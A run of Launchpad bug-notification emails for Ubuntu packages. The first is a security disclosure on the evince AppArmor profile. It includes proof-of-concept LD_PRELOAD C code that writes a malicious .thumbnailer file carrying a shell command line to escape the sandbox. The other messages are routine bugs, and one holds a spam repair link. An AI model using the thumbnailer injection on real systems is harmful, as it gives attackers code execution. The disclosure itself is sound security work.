[Touch-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy for evince is useless
** Changed in: evince (Ubuntu Cosmic) Status: Triaged => Fix Committed ** Summary changed: - Debian/Ubuntu AppArmor policy for evince is useless + Debian/Ubuntu AppArmor policy gaps in evince ** Information type changed from Private Security to Public Security -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apparmor in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Committed Status in evince package in Ubuntu: Fix Committed Status in apparmor source package in Trusty: Fix Committed Status in evince source package in Trusty: Triaged Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: Triaged Status in apparmor source package in Bionic: Fix Committed Status in evince source package in Bionic: Triaged Status in apparmor source package in Cosmic: Fix Committed Status in evince source package in Cosmic: Fix Committed Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f) err(1, "create"); fputs("[Thumbnailer Entry]\n", f); fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat [..
[Touch-packages] [Bug 1781169] Re: frontend locking
** Tags added: id-5bae2d02f32c4e3b0a036f61 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1781169 Title: frontend locking Status in apt package in Ubuntu: Fix Released Status in dpkg package in Ubuntu: Fix Released Status in apt source package in Xenial: In Progress Status in dpkg source package in Xenial: New Status in apt source package in Bionic: In Progress Status in dpkg source package in Bionic: New Bug description: [Impact] apt acquires /var/lib/dpkg/lock but has to release it while running dpkg, offering a short window for other clients to acquire the lock. This implements /var/lib/dpkg/lock-frontend which will be acquired earlier and not released by apt for dpkg to run. dpkg will try to acquire the frontend lock as well, unless told not to do so via an environment variable, which apt does; hence concurrent runs of dpkg without other locking can't happen. [Test case] Run strace apt install $something and check that lock-frontend is acquired at the beginning and not released until the end. [Regression potential] Frontend locking failures are in English, as there are no translations yet. More locks also mean more potential for locking to go wrong across programs, but since we don't have any waiting locks we at least won't deadlock. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1781169/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1579580] Re: ureadahead reports relative path errors in journalctl output
Why it contains ExecStart 2 times? [Service] ExecStart= ExecStart=/sbin/ureadahead -q Did you mean ExecStop? [Service] ExecStop= ExecStart=/sbin/ureadahead -q -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ureadahead in Ubuntu. https://bugs.launchpad.net/bugs/1579580 Title: ureadahead reports relative path errors in journalctl output Status in ureadahead package in Ubuntu: Confirmed Bug description: ureadahead reports relative path errors in my journalctl output. This is currently 4368 lines of useless annoyances in my logs. To see if you have this problem, run: journalctl -b | grep ureadahead | grep relative | wc -l Thanks ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: ureadahead 0.100.0-19 ProcVersionSignature: Ubuntu 4.4.0-22.39-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Sun May 8 15:55:18 2016 InstallationDate: Installed on 2016-04-04 (34 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Beta amd64 (20160325) ProcEnviron: TERM=linux PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ureadahead UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ureadahead/+bug/1579580/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795132] [NEW] Network resets after a while and turns wifi into hotspot
Public bug reported: On Cosmic development version here and after a few upgrades (didn't remember when) my wifi would disconnect and turn into a hotspot. To fix it I would disconnect the hotspot and then connect to my wifi, but it'll do that after a while again. Thank you for your help. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: network-manager 1.12.2-0ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CurrentDesktop: GNOME Date: Sat Sep 29 19:36:25 2018 EcryptfsInUse: Yes InstallationDate: Installed on 2015-09-28 (1096 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=false SourcePackage: network-manager UpgradeStatus: Upgraded to cosmic on 2018-09-05 (24 days ago) mtime.conffile..etc.NetworkManager.NetworkManager.conf: 2017-12-19T21:29:03.303835 nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.12.2 connected started full enabled enabled enabled enabled disabled ** Affects: network-manager (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug cosmic third-party-packages ** Attachment added: "syslog of when the wifi disconnects and turns into a hotspot" https://bugs.launchpad.net/bugs/1795132/+attachment/5194372/+files/syslog%20001%20%28networking%20being%20reset%29 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1795132 Title: Network resets after a while and turns wifi into hotspot Status in network-manager package in Ubuntu: New Bug description: On Cosmic development version here and after a few upgrades (didn't remember when) my wifi would disconnect and turn into a hotspot. To fix it I would disconnect the hotspot and then connect to my wifi, but it'll do that after a while again. Thank you for your help. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: network-manager 1.12.2-0ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CurrentDesktop: GNOME Date: Sat Sep 29 19:36:25 2018 EcryptfsInUse: Yes InstallationDate: Installed on 2015-09-28 (1096 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=false SourcePackage: network-manager UpgradeStatus: Upgraded to cosmic on 2018-09-05 (24 days ago) mtime.conffile..etc.NetworkManager.NetworkManager.conf: 2017-12-19T21:29:03.303835 nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.12.2 connected started full enabled enabled enabled enabled disabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1795132/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 976638] Re: pkexec does not find any authentication agent
Found the answer - I needed to install lxsession-edit, and that gives me the "Policykit Authentication Agent" tickbox. Now all is well. One oddity though: on a fresh install of Lubuntu 18.04, everything works as expected - yet the Policykit Authentication Agent box is unchecked... Can anyone explain? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to policykit-1 in Ubuntu. https://bugs.launchpad.net/bugs/976638 Title: pkexec does not find any authentication agent Status in PolicyKit: Unknown Status in policykit-1 package in Ubuntu: Triaged Bug description: I am using xubuntu, but I am pretty sure that other variants are affected too. My problem started with being unable to start synaptic from the menu. So far, I have found out that synaptic is started with pkexec. When I test starting pkexec /usr/sbin/synaptic in a terminal, it asks for the password in text mode. With another test pkexec --disable-internal-agent /usr/sbin/synaptic in the terminal, it says it has not found any authentication agent. I have two AMD64 PC's and a i386 laptop. The problem occurs on one of the PC's and the laptop. Comparing the /etc directory trees of the PC's showed many differences, but I could not find anything suspicious about the polycikit configuration. For the moment, using gksu instead of pkexec is a workaround. Thanks and Regards, Markus ProblemType: Bug DistroRelease: Ubuntu 12.04 Package: policykit-1 0.104-1 ProcVersionSignature: Ubuntu 3.2.0-22.35-generic 3.2.14 Uname: Linux 3.2.0-22-generic x86_64 ApportVersion: 2.0-0ubuntu4 Architecture: amd64 Date: Sun Apr 8 17:05:34 2012 InstallationMedia: Xubuntu 12.04 LTS "Precise Pangolin" - Beta amd64 (20120330) ProcEnviron: LANGUAGE=de_DE:en TERM=xterm PATH=(custom, no user) LANG=de_DE.UTF-8 SHELL=/bin/bash SourcePackage: policykit-1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/policykit-1/+bug/976638/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1782167] Re: Computer won't suspend
*** This bug is a duplicate of bug 1788810 *** https://bugs.launchpad.net/bugs/1788810 ** This bug has been marked a duplicate of bug 1788810 Computer won't suspend, DBUS reports that a suspend or shutdown operation already in progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1782167 Title: Computer won't suspend Status in systemd package in Ubuntu: Confirmed Bug description: After a fresh start, suspend works fine. However, after a day or two, the computer simply won't enter suspend state, with no error message; sometimes when I try several times in a row, I get a notification about DBus failing to suspend because it is already doing something... or something like this. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: systemd 237-3ubuntu10 ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: XFCE Date: Tue Jul 17 16:08:35 2018 MachineType: LENOVO 5474W9Y ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic root=UUID=1a87302c-9fb9-4110-99e5-2e0d44fec6b7 ro SourcePackage: systemd UpgradeStatus: Upgraded to bionic on 2018-06-19 (27 days ago) dmi.bios.date: 04/11/2011 dmi.bios.vendor: LENOVO dmi.bios.version: 5JKT55AUS dmi.board.vendor: LENOVO dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnLENOVO:bvr5JKT55AUS:bd04/11/2011:svnLENOVO:pn5474W9Y:pvrThinkCentreM90:rvnLENOVO:rn:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: 5474W9Y dmi.product.version: ThinkCentre M90 dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1782167/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1788810] Re: Computer won't suspend, DBUS reports that a suspend or shutdown operation already in progress
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: dbus (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to dbus in Ubuntu. https://bugs.launchpad.net/bugs/1788810 Title: Computer won't suspend, DBUS reports that a suspend or shutdown operation already in progress Status in dbus package in Ubuntu: Confirmed Bug description: After a fresh boot computer suspends fine, however further attempts to suspend result in failure with the above mentioned error message. When that happens, shutdown doesn't work either; shutdown process gets stuck at some point and I must forcibly turn off or reset the computer. Sometimes the shutdown almost completes, but THEN the computer enters suspend, after which I must wake it up to complete shutdown. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: dbus 1.12.2-1ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18 Uname: Linux 4.15.0-32-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: XFCE Date: Fri Aug 24 10:39:30 2018 SourcePackage: dbus UpgradeStatus: Upgraded to bionic on 2018-06-19 (65 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/dbus/+bug/1788810/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1570105] Re: package libjpeg-turbo8-dev (not installed) failed to install/upgrade: tentative de remplacement de « /usr/include/jerror.h », qui appartient aussi au paquet libjpeg9
*** This bug is a duplicate of bug 1597840 *** https://bugs.launchpad.net/bugs/1597840 ** This bug has been marked a duplicate of bug 1597840 package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libjpeg-turbo in Ubuntu. https://bugs.launchpad.net/bugs/1570105 Title: package libjpeg-turbo8-dev (not installed) failed to install/upgrade: tentative de remplacement de « /usr/include/jerror.h », qui appartient aussi au paquet libjpeg9-dev:amd64 1:9b-1 Status in libjpeg-turbo package in Ubuntu: New Bug description: Was installing opencv-dev with aptitude. Aptitude offered to resolve a conflict between libjpeg packages. I accepted the offered solution. Next time I opened aptitude, it sad opencv-dev packaged were not fully installed. Seems like error is permanent (i.e. will not resolve itself just with upgrade instructions Dépaquetage de libjpeg-turbo8-dev:amd64 (1.4.2-0ubuntu3) ... dpkg: erreur de traitement de l'archive /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb (--unpack) : tentative de remplacement de « /usr/include/jerror.h », qui appartient aussi au paquet libjpeg9-dev:amd64 1:9b-1 dpkg-deb : erreur : le sous-processus coller a été tué par le signal (Relais brisé (pipe)) Des erreurs ont été rencontrées pendant l'exécution : /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1) Impossible d'effectuer l'opération demandée sur le paquet. Essai de récupération : ... ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libjpeg-turbo8-dev (not installed) ProcVersionSignature: Ubuntu 4.4.0-18.34-generic 4.4.6 Uname: Linux 4.4.0-18-generic x86_64 ApportVersion: 2.20.1-0ubuntu1 Architecture: amd64 Date: Wed Apr 13 23:20:56 2016 ErrorMessage: tentative de remplacement de « /usr/include/jerror.h », qui appartient aussi au paquet libjpeg9-dev:amd64 1:9b-1 InstallationDate: Installed on 2016-02-03 (70 days ago) InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160203) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.10 SourcePackage: libjpeg-turbo Title: package libjpeg-turbo8-dev (not installed) failed to install/upgrade: tentative de remplacement de « /usr/include/jerror.h », qui appartient aussi au paquet libjpeg9-dev:amd64 1:9b-1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libjpeg-turbo/+bug/1570105/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1099184] Re: Avahi reports IPv6/IPv4 and "dnssd" CUPS backend only tries IPv6, no IPv4 fallback
I have a Canon iX6820 printer. I have updated recommended driver for Ubuntu Linux. That was in Linux Mint 17.3. The printer worked flawlessly. I upgraded to Linux Mint 18.2 and reinstalled the same driver. When I print a landscape print job, generated in LibreOffice Writer on legal paper, the text prints only the center of the text and rotated 90 degrees and at the top of the page. If I generate a .pdf of the page, it prints landscape in the center of a portrait page with the whole thing shrunk to fit. Not good unless I read it with a magnifying glass. https://www.printererrorrepair.com/canon-customer-service/ -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to avahi in Ubuntu. https://bugs.launchpad.net/bugs/1099184 Title: Avahi reports IPv6/IPv4 and "dnssd" CUPS backend only tries IPv6, no IPv4 fallback Status in avahi package in Ubuntu: Confirmed Bug description: lsb_release -rd Description:Ubuntu 12.04.1 LTS Release:12.04 - avahi-daemon 0.6.30-5ubuntu2 cups 1.5.3-0ubuntu6 Avahi for default publishes services also in IPv6 as in /etc/avahi/avahi-daemon.conf there is use-ipv6=yes At the same time services are listening on IPv4 addresses only. Cups is able to discover published printers via dnssd protocol but its ipp backend prints only on the IPv6 resolved address which does not answer and it does not try the IPv4 address. Excerpt from "avahi-browse -a -t -r" to show the IPv6 and IPv4 addresses + wlan0 IPv6 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local + wlan0 IPv4 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local + wlan0 IPv6 MobilIgor5a [00:26:82:9d:b9:6d] Workstation local + wlan0 IPv6 hjemme [00:40:f4:ff:55:32]Workstation local [] = wlan0 IPv6 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local hostname = [hjemme.local] address = [fe80::240:f4ff:feff:5532] port = [631] txt = ["printer-type=0x900E" "printer-state=3" "Scan=F" "Sort=F" "Bind=F" "Punch=F" "Collate=F" "Copies=F" "Staple=F" "Duplex=F" "Color=T" "Fax=F" "Binary=F" "Transparent=F" "TLS=1.2" "UUID=1577ef95-eecb-3eae-6d02-aa29003eb546" "URF=DM3" "pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf" "product=(HP LaserJet 1100xi Printer)" "priority=0" "note=hjemme" "adminurl=http://hjemme.local:631/printers/Hewlett-Packard-HP-LaserJet-1100"; "ty=HP LaserJet 1100, hpcups 3.12.2" "rp=printers/Hewlett-Packard-HP-LaserJet-1100" "qtotal=1" "txtvers=1"] = wlan0 IPv6 hjemmeRemote Disk Management local hostname = [hjemme.local] address = [fe80::240:f4ff:feff:5532] port = [22] txt = [] = wlan0 IPv6 hjemme [00:40:f4:ff:55:32]Workstation local hostname = [hjemme.local] address = [fe80::240:f4ff:feff:5532] port = [9] txt = [] = wlan0 IPv4 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local hostname = [hjemme.local] address = [192.168.1.2] port = [631] txt = ["printer-type=0x900E" "printer-state=3" "Scan=F" "Sort=F" "Bind=F" "Punch=F" "Collate=F" "Copies=F" "Staple=F" "Duplex=F" "Color=T" "Fax=F" "Binary=F" "Transparent=F" "TLS=1.2" "UUID=1577ef95-eecb-3eae-6d02-aa29003eb546" "URF=DM3" "pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf" "product=(HP LaserJet 1100xi Printer)" "priority=0" "note=hjemme" "adminurl=http://hjemme.local:631/printers/Hewlett-Packard-HP-LaserJet-1100"; "ty=HP LaserJet 1100, hpcups 3.12.2" "rp=printers/Hewlett-Packard-HP-LaserJet-1100" "qtotal=1" "txtvers=1"] Excerpt from /var/log/cups/error_log to show that only IPv6 address is tried I [13/Jan/2013:18:02:55 +0100] [Job 61] Started backend /usr/lib/cups/backend/dnssd (PID 7179) D [13/Jan/2013:18:02:55 +0100] [Job 61] Resolving "Hewlett-Packard HP LaserJet 1100 @ hjemme._ipp._tcp.local"... D [13/Jan/2013:18:02:55 +0100] [Job 61] STATE: +connecting-to-device D [13/Jan/2013:18:02:55 +0100] [Job 61] Resolving "Hewlett-Packard HP LaserJet 1100 @ hjemme", regtype="_ipp._tcp", domain="local."... D [13/Jan/2013:18:02:55 +0100] [Job 61] PPD uses qualifier 'Gray.Plain.' D [13/Jan/2013:18:02:55 +0100] [Job 61] Calling FindDeviceById(LaserJet_1100xi_Printer) D [13/Jan/2013:18:02:55 +0100] [Job 61] Failed to send: org.freedesktop.ColorManager.Failed:device id 'LaserJet_1100xi_Printer' does not exists D [13/Jan/2013:18:02:55 +0100] [Job 61] Failed to get profile filename! I [13/Jan/2013:18:02:55 +0100] [Job 61] no profiles specified in PPD D [13/Jan/2013:18:02:55 +0100] [Job 61]
[Touch-packages] [Bug 1595163] Re: package libjpeg-turbo8-dev (not installed) failed to install/upgrade: intentando sobreescribir `/usr/include/jerror.h', que está también en el paquete libjpeg9-dev:a
*** This bug is a duplicate of bug 1597840 *** https://bugs.launchpad.net/bugs/1597840 ** This bug has been marked a duplicate of bug 1597840 package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libjpeg-turbo in Ubuntu. https://bugs.launchpad.net/bugs/1595163 Title: package libjpeg-turbo8-dev (not installed) failed to install/upgrade: intentando sobreescribir `/usr/include/jerror.h', que está también en el paquete libjpeg9-dev:amd64 1:9b-1ubuntu1 Status in libjpeg-turbo package in Ubuntu: New Bug description: sudo apt install libjpeg-turbo8-dev after sudo apt install libjpeg9-dev ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libjpeg-turbo8-dev (not installed) ProcVersionSignature: Ubuntu 4.4.0-24.43-generic 4.4.10 Uname: Linux 4.4.0-24-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia ApportVersion: 2.20.1-0ubuntu2.1 AptOrdering: libjpeg-turbo8-dev: Install libjpeg-turbo8-dev: Configure NULL: ConfigurePending Architecture: amd64 Date: Wed Jun 22 14:21:14 2016 DpkgTerminalLog: Preparando para desempaquetar .../libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb ... Desempaquetando libjpeg-turbo8-dev:amd64 (1.4.2-0ubuntu3) ... dpkg: error al procesar el archivo /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb (--unpack): intentando sobreescribir `/usr/include/jerror.h', que está también en el paquete libjpeg9-dev:amd64 1:9b-1ubuntu1 ErrorMessage: intentando sobreescribir `/usr/include/jerror.h', que está también en el paquete libjpeg9-dev:amd64 1:9b-1ubuntu1 InstallationDate: Installed on 2016-06-17 (4 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: libjpeg-turbo Title: package libjpeg-turbo8-dev (not installed) failed to install/upgrade: intentando sobreescribir `/usr/include/jerror.h', que está también en el paquete libjpeg9-dev:amd64 1:9b-1ubuntu1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libjpeg-turbo/+bug/1595163/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1597840] Re: package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1u
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: libjpeg9 (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libjpeg-turbo in Ubuntu. https://bugs.launchpad.net/bugs/1597840 Title: package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 Status in One Hundred Papercuts: Confirmed Status in libjpeg-turbo package in Ubuntu: Confirmed Status in libjpeg9 package in Ubuntu: Confirmed Bug description: Just got back from restart. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libjpeg-turbo8-dev 1.4.2-0ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-28.47-generic 4.4.13 Uname: Linux 4.4.0-28-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 Date: Wed Jun 29 12:14:30 2016 Dependencies: gcc-6-base 6.0.1-0ubuntu1 libc6 2.23-0ubuntu3 libgcc1 1:6.0.1-0ubuntu1 libjpeg-turbo8 1.4.2-0ubuntu3 multiarch-support 2.23-0ubuntu3 DpkgTerminalLog: Preparing to unpack .../libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb ... Unpacking libjpeg-turbo8-dev:amd64 (1.4.2-0ubuntu3) ... dpkg: error processing archive /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb (--unpack): trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 DuplicateSignature: package:libjpeg-turbo8-dev:1.4.2-0ubuntu3 Unpacking libjpeg-turbo8-dev:amd64 (1.4.2-0ubuntu3) ... dpkg: error processing archive /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb (--unpack): trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 ErrorMessage: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 InstallationDate: Installed on 2016-06-13 (17 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: libjpeg-turbo Title: package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/hundredpapercuts/+bug/1597840/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1597840] Re: package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1u
